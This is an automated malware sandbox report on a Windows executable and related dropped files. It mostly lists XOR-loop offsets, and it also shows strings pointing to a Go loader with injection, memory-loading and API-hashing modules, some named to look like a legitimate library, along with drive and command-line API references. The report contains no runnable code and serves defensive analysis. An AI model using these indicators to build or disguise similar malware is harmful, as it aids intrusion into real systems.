XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 143080; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2912149; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2971186; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2996001; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2998725; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3001550; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3032003; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3044411; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3281453; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3294639; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3305279; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3340182; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3422312; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3431964; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3505777; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3570453; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3712686; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3744586; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3765505; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3800960; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3811905; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3955722; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3957123; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3985024; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4103679; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4176960; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4257925; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4302380; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4312733; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4330118; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4346893; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4408012; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4573002; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4577732; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4719437; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4742015; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4776424; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4797184; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4838841; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4885206; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4901757; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4902679; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4934002; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4951376; code bytes = 33c1 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3949878; code bytes = 30040e Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3956732; code bytes = 30040e Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 238710; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 450845; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 477573; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 478269; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 478910; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 489257; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2015335; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2346988; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2886771; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 2898467; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3065497; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3096511; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3118003; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3192309; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3214808; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3242197; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3400380; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3413679; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3414941; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3434099; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3619680; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3738458; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3758201; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3809005; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3849063; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3870185; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3939903; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 3976396; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4004653; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4035515; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4114195; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4246552; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4440546; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4457858; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4486646; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4596917; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4671789; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4780551; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4803046; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4903931; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 4925526; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 5095936; code bytes = 8030 Found XOR loop in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" at offset 5140435; code bytes = 8030 Found XOR loop in file "svcctrl3249_1523.exe" at offset 699433; code bytes = 30040e Found XOR loop in file "svcctrl3249_1523.exe" at offset 874574; code bytes = 30040e Found XOR loop in file "svcctrl3249_1523.exe" at offset 1739879; code bytes = 30040e Found XOR loop in file "svcctrl3249_1523.exe" at offset 2219625; code bytes = 30040e Found XOR loop in file "nfpvxyybtomq.sys" at offset 10413; code bytes = 8030 Found XOR loop in file "nfpvxyybtomq.sys" at offset 13840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 124730; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 760484; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1274380; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2108519; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2350996; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2911997; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2981959; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3013140; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3066839; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3181916; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3184652; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3249925; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3251794; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3277928; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3292727; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3370672; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3383402; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3393020; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3463548; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3485066; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3521643; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3724320; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3865553; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3867085; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3942400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4055221; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4159557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4219550; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4350191; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4429420; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4429847; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4473370; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4491732; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4509112; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4511598; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4545205; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4671758; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4687403; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4701718; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4744773; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4799265; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4867528; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4879806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4889563; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 143080; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2912149; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2971186; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2996001; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2998725; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3001550; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3032003; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3044411; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3281453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3294639; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3305279; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3340182; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3422312; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3431964; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3505777; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3570453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3712686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3744586; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3765505; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3800960; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3811905; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3955722; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3957123; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3985024; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4103679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4176960; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4257925; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4302380; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4312733; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4330118; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4346893; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4408012; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4573002; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4577732; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4719437; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4742015; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4776424; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4797184; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4838841; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4885206; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4901757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4902679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4934002; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4951376; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3949878; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 3956732; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 238710; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 450845; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 477573; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 478269; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 478910; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 489257; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2015335; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2346988; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2886771; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2898467; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3065497; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3096511; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3118003; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3192309; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3214808; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3242197; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3400380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3413679; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3414941; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3434099; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3619680; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3738458; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3758201; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3809005; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3849063; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3870185; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3939903; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3976396; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4004653; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4035515; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4114195; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4246552; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4440546; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4457858; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4486646; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4596917; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4671789; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4780551; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4803046; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4903931; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4925526; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5095936; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5140435; code bytes = 803035:T1083,Found string "'github.com/go-ole/go-ole/internal/cmstp" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "'github.com/go-ole/go-ole/internal/stomp" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "'github.com/go-ole/go-ole/internal/ntapi" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string ")github.com/go-ole/go-ole/internal/payload" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string ")github.com/go-ole/go-ole/internal/taskcom" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string ")github.com/go-ole/go-ole/internal/memload" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "*github.com/go-ole/go-ole/internal/p3inject" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/apihash.Djb2a" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/apihash.GetProcAddressByHash.func1" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/apihash.Cstring" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.Init" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.wantDebugConsole" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.openDesktopLog" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.WaitKey" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.WaitKey.func1" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.WaitKey.deferwrap1" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.Close" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.Close.deferwrap1" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.logf" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.writeLine" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.writeConsole" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.writeFile" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "github.com/go-ole/go-ole/internal/debug.writeFile.deferwrap1" (Indicator: "github.com"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")36:T7d3,file/memory contains long string with (Indicator: "GetDriveTypeW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetLogicalDrives"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetLogicalDriveStringsW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetDllDirectoryAGetDllDirectoryWGetDriveTypeA" (Indicator: "GetDriveTypeA"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveTypeW"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDrivesGetLongPathNameAGetLongPathNameWGetMailslotInfo" (Indicator: "GetLogicalDrives"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDriveStringsA" (Indicator: "GetLogicalDriveStringsA"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLogicalDriveStringsW" (Indicator: "GetLogicalDriveStringsW"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveTypeA"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")37:T435,file/memory contains long string with (Indicator: "GetCommandLine"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003628-00000C2C-676422011") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found string 